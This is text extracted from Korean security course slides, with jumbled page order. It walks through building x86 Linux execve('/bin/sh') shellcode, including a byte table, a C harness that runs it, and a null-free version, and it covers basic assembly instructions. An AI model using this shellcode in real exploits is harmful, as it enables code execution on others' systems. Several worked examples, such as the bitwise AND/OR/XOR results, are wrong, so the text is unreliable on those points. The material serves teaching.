eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 18: 80×86  시스템에 대한 이해

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

